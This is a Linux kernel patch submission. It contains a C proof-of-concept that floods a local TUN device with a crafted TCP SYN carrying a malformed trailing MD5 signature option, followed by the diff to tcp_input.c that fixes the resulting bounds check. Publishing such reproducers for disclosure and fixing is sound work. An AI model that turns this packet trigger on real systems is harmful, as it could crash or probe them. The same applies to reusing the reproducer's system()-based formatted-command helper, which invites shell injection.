====================================
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <stdarg.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/if_tun.h>
#include <err.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <assert.h>
void systemf(const char *command, ...) {
char *full_command;
va_list ap;
va_start(ap, command);
if (vasprintf(&full_command, command, ap) == -1)
err(1, "vasprintf");
va_end(ap);
printf("systemf: <<<%s>>>\n", full_command);
system(full_command);
}
char *devname;
int tun_alloc(char *name) {
int fd = open("/dev/net/tun", O_RDWR);
if (fd == -1)
err(1, "open tun dev");
static struct ifreq req = { .ifr_flags = IFF_TUN|IFF_NO_PI };
strcpy(req.ifr_name, name);
if (ioctl(fd, TUNSETIFF, &req))
err(1, "TUNSETIFF");
devname = req.ifr_name;
printf("device name: %s\n", devname);
return fd;
}
#define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24))
void sum_accumulate(unsigned int *sum, void *data, int len) {
assert((len&2)==0);
for (int i=0; i<len/2; i++) {
*sum += ntohs(((unsigned short *)data)[i]);
}
}
unsigned short sum_final(unsigned int sum) {
sum = (sum >> 16) + (sum & 0xffff);
sum = (sum >> 16) + (sum & 0xffff);
return htons(~sum);
}
void fix_ip_sum(struct iphdr *ip) {
unsigned int sum = 0;
sum_accumulate(&sum, ip, sizeof(*ip));
ip->check = sum_final(sum);
}
void fix_tcp_sum(struct iphdr *ip, struct tcphdr *tcp) {
unsigned int sum = 0;
struct {
unsigned int saddr;
unsigned int daddr;
unsigned char pad;
unsigned char proto_num;
unsigned short tcp_len;
} fakehdr = {
.saddr = ip->saddr,
.daddr = ip->daddr,
.proto_num = ip->protocol,
.tcp_len = htons(ntohs(ip->tot_len) - ip->ihl*4)
};
sum_accumulate(&sum, &fakehdr, sizeof(fakehdr));
sum_accumulate(&sum, tcp, tcp->doff*4);
tcp->check = sum_final(sum);
}
int main(void) {
int tun_fd = tun_alloc("inject_dev%d");
systemf("ip link set %s up", devname);
systemf("ip addr add 192.168.42.1/24 dev %s", devname);
struct {
struct iphdr ip;
struct tcphdr tcp;
unsigned char tcp_opts[20];
} __attribute__((packed)) syn_packet = {
.ip = {
.ihl = sizeof(struct iphdr)/4,
.version = 4,
.tot_len = htons(sizeof(syn_packet)),
.ttl = 30,
.protocol = IPPROTO_TCP,
/* FIXUP check */
.saddr = IPADDR(192,168,42,2),
.daddr = IPADDR(192,168,42,1)
},
.tcp = {
.source = htons(1),
.dest = htons(1337),
.seq = 0x12345678,
.doff = (sizeof(syn_packet.tcp)+sizeof(syn_packet.tcp_opts))/4,
.syn = 1,
.window = htons(64),
.check = 0 /*FIXUP*/
},
.tcp_opts = {
/* INVALID: trailing MD5SIG opcode after NOPs */
1, 1, 1, 1, 1,
1, 1, 1, 1, 1,
1, 1, 1, 1, 1,
1, 1, 1, 1, 19
}
};
fix_ip_sum(&syn_packet.ip);
fix_tcp_sum(&syn_packet.ip, &syn_packet.tcp);
while (1) {
int write_res = write(tun_fd, &syn_packet, sizeof(syn_packet));
if (write_res != sizeof(syn_packet))
err(1, "packet write failed");
}
}
====================================
Fixes: cfb6eeb4c860 ("[TCP]: MD5 Signature Option (RFC2385) support.")
Signed-off-by: Jann Horn <jannh@google.com>
---
net/ipv4/tcp_input.c | 7 ++-----
1 file changed, 2 insertions(+), 5 deletions(-)
@@ -3868,11 +3868,8 @@ const u8 *tcp_parse_md5sig_option(const struct tcphdr *th)
int length = (th->doff << 2) - sizeof(*th);
const u8 *ptr = (const u8 *)(th + 1);
- /* If the TCP option is too short, we can short cut */
- if (length < TCPOLEN_MD5SIG)
- return NULL;
-
- while (length > 0) {
+ /* If not enough data remaining, we can short cut */
+ while (length >= TCPOLEN_MD5SIG) {
int opcode = *ptr++;
int opsize;